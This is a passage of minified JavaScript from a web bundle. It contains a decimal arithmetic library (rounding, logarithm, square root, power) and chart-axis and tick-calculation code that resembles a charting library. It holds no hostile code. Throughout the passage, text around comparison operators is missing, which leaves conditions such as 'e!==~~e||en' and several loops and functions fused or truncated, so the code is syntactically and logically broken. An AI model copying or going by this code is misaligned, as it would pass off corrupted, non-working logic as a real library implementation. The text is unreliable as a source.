isNaN(w=+w)?y:(w=.5+((w=+p(w))-l)*(r*we.chartData,Ep=G([ka],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),vk=(e,t,n,r)=>r?Ep(e):ka(e),TZ=(e,t,n)=>n?Ep(e):ka(e);function Oi(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ht(t)&&ht(n))return!0}return!1}function TN(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function gk(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,l;if(ht(n))i=n;else if(typeof n=="function")return;if(ht(r))l=r;else if(typeof r=="function")return;var c=[i,l];if(Oi(c))return c}}function NZ(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Oi(r))return TN(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,l]=e,c,u;if(i==="auto")t!=null&&(c=Math.min(...t));else if(Oe(i))c=i;else if(typeof i=="function")try{t!=null&&(c=i(t?.[0]))}catch{}else if(typeof i=="string"&&B_.test(i)){var f=B_.exec(i);if(f==null||f[1]==null||t==null)c=void 0;else{var h=+f[1];c=t[0]-h}}else c=t?.[0];if(l==="auto")t!=null&&(u=Math.max(...t));else if(Oe(l))u=l;else if(typeof l=="function")try{t!=null&&(u=l(t?.[1]))}catch{}else if(typeof l=="string"&&U_.test(l)){var p=U_.exec(l);if(p==null||p[1]==null||t==null)u=void 0;else{var m=+p[1];u=t[1]+m}}else u=t?.[1];var y=[c,u];if(Oi(y))return t==null?y:TN(y,t,n)}}}var Jl=1e9,MZ={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},Zx,ut=!0,dr="[DecimalError] ",no=dr+"Invalid argument: ",Xx=dr+"Exponent out of range: ",es=Math.floor,Xi=Math.pow,jZ=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,$n,qt=1e7,ot=7,yk=9007199254740991,lh=es(yk/ot),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,l=this;if(e=new l.constructor(e),l.s!==e.s)return l.s||-e.s;if(l.e!==e.e)return l.e>e.e^l.s<0?1:-1;for(r=l.d.length,i=e.d.length,t=0,n=re.d[t]^l.s<0?1:-1;return r===i?0:r>i^l.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*ot;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return xa(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return nt(xa(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return Mt(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,l=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq($n))throw Error(dr+"NaN");if(n.s<1)throw Error(dr+(n.s?"NaN":"-Infinity"));return n.eq($n)?new r(0):(ut=!1,t=xa(Ic(n,l),Ic(e,l),l),ut=!0,nt(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?wk(t,e):bk(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(dr+"NaN");return n.s?(ut=!1,t=xa(n,e,0,1).times(e),ut=!0,n.minus(t)):nt(new r(n),i)};pe.naturalExponential=pe.exp=function(){return xk(this)};pe.naturalLogarithm=pe.ln=function(){return Ic(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?bk(t,e):wk(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(no+e);if(t=Mt(i)+1,r=i.d.length-1,n=r*ot+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,l,c,u=this,f=u.constructor;if(u.s<1){if(!u.s)return new f(0);throw Error(dr+"NaN")}for(e=Mt(u),ut=!1,i=Math.sqrt(+u),i==0||i==1/0?(t=Ir(u.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=es((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new f(t)):r=new f(i.toString()),n=f.precision,i=c=n+3;;)if(l=r,r=l.plus(xa(u,l,c+2)).times(.5),Ir(l.d).slice(0,c)===(t=Ir(r.d)).slice(0,c)){if(t=t.slice(c-3,c+1),i==c&&t=="4999"){if(nt(l,n+1,0),l.times(l).eq(u)){r=l;break}}else if(t!="9999")break;c+=4}return ut=!0,nt(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,l,c,u,f,h,p=this,m=p.constructor,y=p.d,x=(e=new m(e)).d;if(!p.s||!e.s)return new m(0);for(e.s*=p.s,n=p.e+e.e,f=y.length,h=x.length,f=0;){for(t=0,i=f+r;i>r;)u=l[i]+x[r]*y[i-r-1]+t,l[i--]=u%qt|0,t=u/qt|0;l[i]=(l[i]+t)%qt|0}for(;!l[--c];)l.pop();return t?++n:l.shift(),e.d=l,e.e=n,ut?nt(e,m.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(Fr(e,0,Jl),t===void 0?t=r.rounding:Fr(t,0,8),nt(n,e+Mt(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=po(r,!0):(Fr(e,0,Jl),t===void 0?t=i.rounding:Fr(t,0,8),r=nt(new i(r),e+1,t),n=po(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,l=i.constructor;return e===void 0?po(i):(Fr(e,0,Jl),t===void 0?t=l.rounding:Fr(t,0,8),r=nt(new l(i),e+Mt(i)+1,t),n=po(r.abs(),!1,e+Mt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return nt(new t(e),Mt(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,l,c,u=this,f=u.constructor,h=12,p=+(e=new f(e));if(!e.s)return new f($n);if(u=new f(u),!u.s){if(e.s<1)throw Error(dr+"Infinity");return u}if(u.eq($n))return u;if(r=f.precision,e.eq($n))return nt(u,r);if(t=e.e,n=e.d.length-1,c=t>=n,l=u.s,c){if((n=p<0?-p:p)<=yk){for(i=new f($n),t=Math.ceil(r/ot+4),ut=!1;n%2&&(i=i.times(u),MN(i.d,t)),n=es(n/2),n!==0;)u=u.times(u),MN(u.d,t);return ut=!0,e.s<0?new f($n).div(i):nt(i,r)}}else if(l<0)throw Error(dr+"NaN");return l=l<0&&e.d[Math.max(t,n)]&1?-1:1,u.s=1,ut=!1,i=e.times(Ic(u,r+h)),ut=!0,i=xk(i),i.s=l,i};pe.toPrecision=function(e,t){var n,r,i=this,l=i.constructor;return e===void 0?(n=Mt(i),r=po(i,n<=l.toExpNeg||n>=l.toExpPos)):(Fr(e,1,Jl),t===void 0?t=l.rounding:Fr(t,0,8),i=nt(new l(i),e,t),n=Mt(i),r=po(i,e<=n||n<=l.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(Fr(e,1,Jl),t===void 0?t=r.rounding:Fr(t,0,8)),nt(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=Mt(e),n=e.constructor;return po(e,t<=n.toExpNeg||t>=n.toExpPos)};function bk(e,t){var n,r,i,l,c,u,f,h,p=e.constructor,m=p.precision;if(!e.s||!t.s)return t.s||(t=new p(e)),ut?nt(t,m):t;if(f=e.d,h=t.d,c=e.e,i=t.e,f=f.slice(),l=c-i,l){for(l<0?(r=f,l=-l,u=h.length):(r=h,i=c,u=f.length),c=Math.ceil(m/ot),u=c>u?c+1:u+1,l>u&&(l=u,r.length=1),r.reverse();l--;)r.push(0);r.reverse()}for(u=f.length,l=h.length,u-l<0&&(l=u,r=h,h=f,f=r),n=0;l;)n=(f[--l]=f[l]+h[l]+n)/qt|0,f[l]%=qt;for(n&&(f.unshift(n),++i),u=f.length;f[--u]==0;)f.pop();return t.d=f,t.e=i,ut?nt(t,m):t}function Fr(e,t,n){if(e!==~~e||en)throw Error(no+e)}function Ir(e){var t,n,r,i=e.length-1,l="",c=e[0];if(i>0){for(l+=c,t=1;tc?1:-1;else for(u=f=0;ui[u]?1:-1;break}return f}function n(r,i,l){for(var c=0;l--;)r[l]-=c,c=r[l]1;)r.shift()}return function(r,i,l,c){var u,f,h,p,m,y,x,S,w,O,A,_,T,j,M,P,R,I,B=r.constructor,q=r.s==i.s?1:-1,U=r.d,V=i.d;if(!r.s)return new B(r);if(!i.s)throw Error(dr+"Division by zero");for(f=r.e-i.e,R=V.length,M=U.length,x=new B(q),S=x.d=[],h=0;V[h]==(U[h]||0);)++h;if(V[h]>(U[h]||0)&&--f,l==null?_=l=B.precision:c?_=l+(Mt(r)-Mt(i))+1:_=l,_<0)return new B(0);if(_=_/ot+2|0,h=0,R==1)for(p=0,V=V[0],_++;(h1&&(V=e(V,p),U=e(U,p),R=V.length,M=U.length),j=R,w=U.slice(0,R),O=w.length;O=qt/2&&++P;do p=0,u=t(V,w,R,O),u<0?(A=w[0],R!=O&&(A=A*qt+(w[1]||0)),p=A/P|0,p>1?(p>=qt&&(p=qt-1),m=e(V,p),y=m.length,O=w.length,u=t(m,w,y,O),u==1&&(p--,n(m,R16)throw Error(Xx+Mt(e));if(!e.s)return new p($n);for(ut=!1,u=m,c=new p(.03125);e.abs().gte(.1);)e=e.times(c),h+=5;for(r=Math.log(Xi(2,h))/Math.LN10*2+5|0,u+=r,n=i=l=new p($n),p.precision=u;;){if(i=nt(i.times(e),u),n=n.times(++f),c=l.plus(xa(i,n,u)),Ir(c.d).slice(0,u)===Ir(l.d).slice(0,u)){for(;h--;)l=nt(l.times(l),u);return p.precision=m,t==null?(ut=!0,nt(l,m)):l}l=c}}function Mt(e){for(var t=e.e*ot,n=e.d[0];n>=10;n/=10)t++;return t}function Hy(e,t,n){if(t>e.LN10.sd())throw ut=!0,n&&(e.precision=n),Error(dr+"LN10 precision limit exceeded");return nt(new e(e.LN10),t)}function mi(e){for(var t="";e--;)t+="0";return t}function Ic(e,t){var n,r,i,l,c,u,f,h,p,m=1,y=10,x=e,S=x.d,w=x.constructor,O=w.precision;if(x.s<1)throw Error(dr+(x.s?"NaN":"-Infinity"));if(x.eq($n))return new w(0);if(t==null?(ut=!1,h=O):h=t,x.eq(10))return t==null&&(ut=!0),Hy(w,h);if(h+=y,w.precision=h,n=Ir(S),r=n.charAt(0),l=Mt(x),Math.abs(l)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)x=x.times(e),n=Ir(x.d),r=n.charAt(0),m++;l=Mt(x),r>1?(x=new w("0."+n),l++):x=new w(r+"."+n.slice(1))}else return f=Hy(w,h+2,O).times(l+""),x=Ic(new w(r+"."+n.slice(1)),h-y).plus(f),w.precision=O,t==null?(ut=!0,nt(x,O)):x;for(u=c=x=xa(x.minus($n),x.plus($n),h),p=nt(x.times(x),h),i=3;;){if(c=nt(c.times(p),h),f=u.plus(xa(c,new w(i),h)),Ir(f.d).slice(0,h)===Ir(u.d).slice(0,h))return u=u.times(2),l!==0&&(u=u.plus(Hy(w,h+2,O).times(l+""))),u=xa(u,new w(m),h),w.precision=O,t==null?(ut=!0,nt(u,O)):u;u=f,i+=2}}function NN(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=es(n/ot),e.d=[],r=(n+1)%ot,n<0&&(r+=ot),rlh||e.e<-lh))throw Error(Xx+n)}else e.s=0,e.e=0,e.d=[0];return e}function nt(e,t,n){var r,i,l,c,u,f,h,p,m=e.d;for(c=1,l=m[0];l>=10;l/=10)c++;if(r=t-c,r<0)r+=ot,i=t,h=m[p=0];else{if(p=Math.ceil((r+1)/ot),l=m.length,p>=l)return e;for(h=l=m[p],c=1;l>=10;l/=10)c++;r%=ot,i=r-ot+c}if(n!==void 0&&(l=Xi(10,c-i-1),u=h/l%10|0,f=t<0||m[p+1]!==void 0||h%l,f=n<4?(u||f)&&(n==0||n==(e.s<0?3:2)):u>5||u==5&&(n==4||f||n==6&&(r>0?i>0?h/Xi(10,c-i):0:m[p-1])%10&1||n==(e.s<0?8:7))),t<1||!m[0])return f?(l=Mt(e),m.length=1,t=t-l-1,m[0]=Xi(10,(ot-t%ot)%ot),e.e=es(-t/ot)||0):(m.length=1,m[0]=e.e=e.s=0),e;if(r==0?(m.length=p,l=1,p--):(m.length=p+1,l=Xi(10,ot-r),m[p]=i>0?(h/Xi(10,c-i)%Xi(10,i)|0)*l:0),f)for(;;)if(p==0){(m[0]+=l)==qt&&(m[0]=1,++e.e);break}else{if(m[p]+=l,m[p]!=qt)break;m[p--]=0,l=1}for(r=m.length;m[--r]===0;)m.pop();if(ut&&(e.e>lh||e.e<-lh))throw Error(Xx+Mt(e));return e}function wk(e,t){var n,r,i,l,c,u,f,h,p,m,y=e.constructor,x=y.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new y(e),ut?nt(t,x):t;if(f=e.d,m=t.d,r=t.e,h=e.e,f=f.slice(),c=h-r,c){for(p=c<0,p?(n=f,c=-c,u=m.length):(n=m,r=h,u=f.length),i=Math.max(Math.ceil(x/ot),u)+2,c>i&&(c=i,n.length=1),n.reverse(),i=c;i--;)n.push(0);n.reverse()}else{for(i=f.length,u=m.length,p=i0;--i)f[u++]=0;for(i=m.length;i>c;){if(f[--i]0?l=l.charAt(0)+"."+l.slice(1)+mi(r):c>1&&(l=l.charAt(0)+"."+l.slice(1)),l=l+(i<0?"e":"e+")+i):i<0?(l="0."+mi(-i-1)+l,n&&(r=n-c)>0&&(l+=mi(r))):i>=c?(l+=mi(i+1-c),n&&(r=n-i-1)>0&&(l=l+"."+mi(r))):((r=i+1)0&&(i+1===c&&(l+="."),l+=mi(r))),e.s<0?"-"+l:l}function MN(e,t){if(e.length>t)return e.length=t,!0}function Sk(e){var t,n,r;function i(l){var c=this;if(!(c instanceof i))return new i(l);if(c.constructor=i,l instanceof i){c.s=l.s,c.e=l.e,c.d=(l=l.d)?l.slice():l;return}if(typeof l=="number"){if(l*0!==0)throw Error(no+l);if(l>0)c.s=1;else if(l<0)l=-l,c.s=-1;else{c.s=0,c.e=0,c.d=[0];return}if(l===~~l&&l<1e7){c.e=0,c.d=[l];return}return NN(c,l.toString())}else if(typeof l!="string")throw Error(no+l);if(l.charCodeAt(0)===45?(l=l.slice(1),c.s=-1):c.s=1,jZ.test(l))NN(c,l);else throw Error(no+l)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=Sk,i.config=i.set=PZ,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(no+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(no+n+": "+r);return this}var Zx=Sk(MZ);$n=new Zx(1);const Xe=Zx;var RZ=e=>e,Ok={},Ek=e=>e===Ok,jN=e=>function t(){return arguments.length===0||arguments.length===1&&Ek(arguments.length<=0?void 0:arguments[0])?t:e(...arguments)},Ak=(e,t)=>e===1?t:jN(function(){for(var n=arguments.length,r=new Array(n),i=0;ic!==Ok).length;return l>=e?t(...r):Ak(e-l,jN(function(){for(var c=arguments.length,u=new Array(c),f=0;fEk(p)?u.shift():p);return t(...h,...u)}))}),DZ=e=>Ak(e.length,e),lb=(e,t)=>{for(var n=[],r=e;rArray.isArray(t)?t.map(e):Object.keys(t).map(n=>t[n]).map(e)),LZ=function(){for(var t=arguments.length,n=new Array(t),r=0;rf(u),l(...arguments))}};function Ck(e){var t;return e===0?t=1:t=Math.floor(new Xe(e).abs().log(10).toNumber())+1,t}function _k(e,t,n){for(var r=new Xe(e),i=0,l=[];r.lt(t)&&i<1e5;)l.push(r.toNumber()),r=r.add(n),i++;return l}var Tk=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},Nk=(e,t,n)=>{if(e.lte(0))return new Xe(0);var r=Ck(e.toNumber()),i=new Xe(10).pow(r),l=e.div(i),c=r!==1?.05:.1,u=new Xe(Math.ceil(l.div(c).toNumber())).add(n).mul(c),f=u.mul(i);return t?new Xe(f.toNumber()):new Xe(Math.ceil(f.toNumber()))},IZ=(e,t,n)=>{var r=new Xe(1),i=new Xe(e);if(!i.isint()&&n){var l=Math.abs(e);l<1?(r=new Xe(10).pow(Ck(e)-1),i=new Xe(Math.floor(i.div(r).toNumber())).mul(r)):l>1&&(i=new Xe(Math.floor(e)))}else e===0?i=new Xe(Math.floor((t-1)/2)):n||(i=new Xe(Math.floor(e)));var c=Math.floor((t-1)/2),u=LZ(kZ(f=>i.add(new Xe(f-c).mul(r)).toNumber()),lb);return u(0,t)},Mk=function(t,n,r,i){var l=arguments.length>4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Xe(0),tickMin:new Xe(0),tickMax:new Xe(0)};var c=Nk(new Xe(n).sub(t).div(r-1),i,l),u;t<=0&&n>=0?u=new Xe(0):(u=new Xe(t).add(n).div(2),u=u.sub(new Xe(u).mod(c)));var f=Math.ceil(u.sub(t).div(c).toNumber()),h=Math.ceil(new Xe(n).sub(u).div(c).toNumber()),p=f+h+1;return p>r?Mk(t,n,r,i,l+1):(p0?h+(r-p):h,f=n>0?f:f+(r-p)),{step:c,tickMin:u.sub(new Xe(f).mul(c)),tickMax:u.add(new Xe(h).mul(c))})},zZ=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,l=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,c=Math.max(i,2),[u,f]=Tk([n,r]);if(u===-1/0||f===1/0){var h=f===1/0?[u,...lb(0,i-1).map(()=>1/0)]:[...lb(0,i-1).map(()=>-1/0),f];return n>r?h.reverse():h}if(u===f)return IZ(u,i,l);var{step:p,tickMin:m,tickMax:y}=Mk(u,f,c,l,0),x=_k(m,y.add(new Xe(.1).mul(p)),p);return n>r?x.reverse():x},$Z=function(t,n){var[r,i]=t,l=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[c,u]=Tk([r,i]);if(c===-1/0||u===1/0)return[r,i];if(c===u)return[c];var f=Math.max(n,2),h=Nk(new Xe(u).sub(c).div(f-1),l,0),p=[..._k(new Xe(c),new Xe(u),h),u];return l===!1&&(p=p.map(m=>Math.round(m))),r>i?p.reverse():p},jk=e=>e.rootProps.maxBarSize,BZ=e=>e.rootProps.barGap,Pk=e=>e.rootProps.barCategoryGap,UZ=e=>e.rootProps.barSize,iu=e=>e.rootProps.stackOffset,Rk=e=>e.rootProps.reverseStackOrder,Qx=e=>e.options.chartName,Jx=e=>e.rootProps.syncId,Dk=e=>e.rootProps.syncMethod,e1=e=>e.options.eventEmitter,an={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},ma={allowDuplicatedCategory:!0,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"category"},In={allowDataOverflow:!1,allowDuplicatedCategory:!0,radiusAxisId:0,scale:"auto",tick:!0,tickCount:5,type:"number"},Ap=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t},HZ={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!1,dataKey:void 0,domain:void 0,id:ma.angleAxisId,includeHidden:!1,name:void 0,reversed:ma.reversed,scale:ma.scale,tick:ma.tick,tickCount:void 0,ticks:void 0,type:ma.type,unit:void 0},qZ={allowDataOverflow:In.allowDataOverflow,allowDecimals:!1,allowDuplicatedCategory:In.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:In.radiusAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:In.scale,tick:In.tick,tickCount:In.tickCount,ticks:void 0,type:In.type,unit:void 0},FZ={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:ma.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:ma.angleAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:ma.scale,tick:ma.tick,tickCount:void 0,ticks:void 0,type:"number",unit:void 0},VZ={allowDataOverflow:In.allowDataOverflow,allowDecimals:!1,allowDuplicatedCategory:In.allowDuplicatedCategory,dataKey:void 0,domain:void 0,id:In.radiusAxisId,includeHidden:!1,name:void 0,reversed:!1,scale:In.scale,tick:In.tick,tickCount:In.tickCount,ticks:void 0,type:"category",unit:void 0},t1=(e,t)=>e.polarAxis.angleAxis[t]!=null?e.polarAxis.angleAxis[t]:e.layout.layoutType==="radial"?FZ:HZ,n1=(e,t)=>e.polarAxis.radiusAxis[t]!=null?e.polarAxis.radiusAxis[t]:e.layout.layoutType==="radial"?VZ:qZ,Cp=e=>e.polarOptions,r1=G([Pa,Ra,kt],jD),kk=G([Cp,r1],(e,t)=>{if(e!=null)return on(e.innerRadius,t,0)}),Lk=G([Cp,r1],(e,t)=>{if(e!=null)return on(e.outerRadius,t,t*.8)}),KZ=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},Ik=G([Cp],KZ);G([t1,Ik],Ap);var zk=G([r1,kk,Lk],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});G([n1,zk],Ap);var $k=G([Fe,Cp,kk,Lk,Pa,Ra],(e,t,n,r,i,l)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:c,cy:u,startAngle:f,endAngle:h}=t;return{cx:on(c,i,i/2),cy:on(u,l,l/2),innerRadius:n,outerRadius:r,startAngle:f,endAngle:h,clockWise:!1}}}),dt=(e,t)=>t,ou=(e,t,n)=>n;function a1(e){return e?.id}function Bk(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:l}=n,c=new Map;return e.forEach(u=>{var f,h=(f=u.data)!==null&&f!==void 0?f:r;if(!(h==null||h.length===0)){var p=a1(u);h.forEach((m,y)=>{var x=l==null||i?y:String(lt(m,l,null)),S=lt(m,u.dataKey,0),w;c.has(x)?w=c.get(x):w={},Object.assign(w,{[p]:S}),c.set(x,w)})}}),Array.from(c.values())}function _p(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Tp=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Np(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function YZ(e,t){if(e.length===t.length){for(var n=0;n{var t=Fe(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ts=e=>e.tooltip.settings.axisId;function PN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function sh(e){for(var t=1;te.cartesianAxis.xAxis[t],La=(e,t)=>{var n=Uk(e,t);return n??Ut},Ht={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:sb,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qc},Hk=(e,t)=>e.cartesianAxis.yAxis[t],Ia=(e,t)=>{var n=Hk(e,t);return n??Ht},ZZ={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},i1=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??ZZ},pt=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);case"zAxis":return i1(e,n);case"angleAxis":return t1(e,n);case"radiusAxis":return n1(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},QZ=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},lu=(e,t,n)=>{switch(t){case"xAxis":return La(e,n);case"yAxis":return Ia(e,n);case"angleAxis":return t1(e,n);case"radiusAxis":return n1(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},qk=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function o1(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var l1=e=>e.graphicalItems.cartesianItems,JZ=G([dt,ou],o1),s1=(e,t,n)=>e.filter(n).filter(r=>t?.includeHidden===!0?!0:!r.hide),su=G([l1,pt,JZ],s1,{memoizeOptions:{resultEqualityCheck:Np}}),Fk=G([su],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(_p)),Vk=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),eQ=G([su],Vk),c1=e=>e.map(t=>t.data).filter(Boolean).flat(1),tQ=G([su],c1,{memoizeOptions:{resultEqualityCheck:Np}}),u1=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},f1=G([tQ,vk],u1),d1=(e,t,n)=>t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:lt(i,r)}))):e.map(r=>({value:r})),Mp=G([f1,pt,su],d1);function Kk(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function md(e){if(qr(e)||e instanceof Date){var t=Number(e);if(ht(t))return t}}function RN(e){if(Array.isArray(e)){var t=[md(e[0]),md(e[1])];return Oi(t)?t:void 0}var n=md(e);if(n!=null)return[n,n]}function Na(e){return e.map(md).filter(pF)}function nQ(e,t,n){return!n||typeof t!="number"||Hr(t)?[]:n.length?Na(n.flatMap(r=>{var i=lt(e,r.dataKey),l,c;if(Array.isArray(i)?[l,c]=i:l=c=i,!(!ht(l)||!ht(c)))return[t-l,t+c]})):[]}var zt=e=>{var t=It(e),n=ts(e);return lu(e,t,n)},cu=G([zt],e=>e?.dataKey),rQ=G([Fk,vk,zt],Bk),Yk=(e,t,n,r)=>{var i={},l=t.reduce((c,u)=>{if(u.stackId==null)return c;var f=c[u.stackId];return f==null&&(f=[]),f.push(u),c[u.stackId]=f,c},i);return Object.fromEntries(Object.entries(l).map(c=>{var[u,f]=c,h=r?[...f].reverse():f,p=h.map(a1);return[u,{stackedData:PK(e,p,n),graphicalItems:h}]}))},cb=G([rQ,Fk,iu,Rk],Yk),Gk=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:l}=t;if(r==null&&n!=="zAxis"){var c=IK(e,i,l);if(!(c!=null&&c[0]===0&&c[1]===0))return c}},aQ=G([pt],e=>e.allowDataOverflow),h1=e=>{var t;if(e==null||!("domain"in e))return sb;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Na(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e?.domain)!==null&&t!==void 